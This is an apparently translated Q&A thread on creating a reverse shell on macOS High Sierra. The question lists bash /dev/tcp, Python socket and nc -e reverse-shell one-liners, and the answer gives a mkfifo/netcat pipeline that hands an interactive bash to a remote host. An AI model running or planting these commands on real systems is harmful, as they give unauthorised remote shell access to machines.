Створити зворотну оболонку за допомогою High Sierra?


3

Я намагаюся створити слухач зворотної оболонки за допомогою High Sierra, але нічого, здається, не працює.

Команда bash начебто просто зависає в терміналі і тайм-аут.

bash -i >& /dev/tcp/0.0.0.0/8080 0>&1

При використанні python або python v2.7 команда python має значення "З'єднання відмовлено".

python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",8080));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

помилка команди netcat з "nc: неправильна опція -e"

nc -e /bin/bash 0.0.0.0 8080

Я спробував інші рішення, які знайшов в Інтернеті, але ви розумієте ...

Чи можливо створити зворотну оболонку (бажано з доступом до bash) за допомогою High Sierra?

технічні характеристики:

sh-3.2# system_profiler SPSoftwareDataType 
Software:

    System Software Overview:

      System Version: macOS 10.13.4 (17E199)
      Kernel Version: Darwin 17.5.0
      Boot Volume: lily
      Boot Mode: Normal
      Computer Name: lilys MacBook Air
      User Name: System Administrator (root)
      Secure Virtual Memory: Enabled
      System Integrity Protection: Enabled
      Time since boot: 2:03

Відповіді:


5

Якщо я правильно розумію, ви хочете підключитися до машини High Sierra із зовнішнього джерела через щось на зразок netcat (nc), надіслати команди bash та переглянути відповідь.

Є більш безпечні та простіші способи зробити це за допомогою ssh, але припускаючи, що це якийсь експеримент чи трюк розробки, ось як можна робити те, що ви просите.

Моя відповідь ґрунтується на відповіді, яку я знайшов в іншому місці на SE ( https://superuser.com/a/607855 ), яка сама ґрунтується на інших відповідях SO / SE.

Спочатку зробіть фіфо:

mkfifo myfifo

Потім запустіть 'nc', використовуючи fifo як свій вхід, переклавши його вихід на bash і перенаправивши вихід bash на fifo:

nc -l 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1

(Прапор '-i' для bash вказує на інтерактивну оболонку, і може не бути бажаним для цього випадку використання.)

З віддаленого пристрою (на моєму тестуванні):

nc 127.0.0.1 8080

Якщо ви хочете змінити ролі, тобто машина High Sierra встановлює з'єднання з віддаленим пристроєм і надає віддаленому пристрою доступ до удару на хості HS, ви пересунете прапор прослуховування (-l). Отже, віддалений пристрій запустив netcat спочатку в режимі прослуховування:

nc -l 127.0.0.1 8080

Тоді хост High Sierra підключиться до віддаленого пристрою:

nc 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1

Це чудово, дякую. Якщо у вас є час, можете коротко пояснити, що таке «mkfifo» / робить саме? Я переглянув посібник з FIFO, man mkfifoале все ще не розумію, що таке фіфо, вибачте!
лілія

@lily Створюється названа труба, яка в основному така сама, |але з ім'ям, на яке ви можете посилатися / використовувати пізніше. Подумайте про це як названий канал для передачі даних.
nohillside

fifo = First In, First Out .. черга. Символ труби "|" - це спрощений спосіб робити те саме. Оскільки ми не можемо йти іншим шляхом (вихід bash назад до входу nc) за допомогою труби "|" або з переспрямуванням, ми використовували fifo. Ми могли б використати два FIFO для обох, якби хотіли.
Брайан Скотт

@BryanScott дякую за допомогу в цьому. у них виникають певні проблеми під час скасування ролей (висока sierra встановлення зв'язку з віддаленим сервером debian). Я почав netcat на сервері з $ nc -l 0.0.0.0 8080, але помітив, що опускання -pnc відкриває випадковий порт, так що я і роблю nc -l 0.0.0.0 -p 8080. потім, з мого високого ноутбука Сьєрра, $ nc vps-ip-address 8080 < myfifo | /bin/bash -i > myfifo 2>&1але термінал одразу помиляється з:invalid connection to [vps-ip-address] from () [mac-ip-address] 49247:
Лілія

будь-яка ідея, що я можу зробити тут неправильно? Я знаю, що використання ssh є більш безпечним, але, будь ласка, згорніть мене, я з задоволенням навчаюсь netcat
Лілія
Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.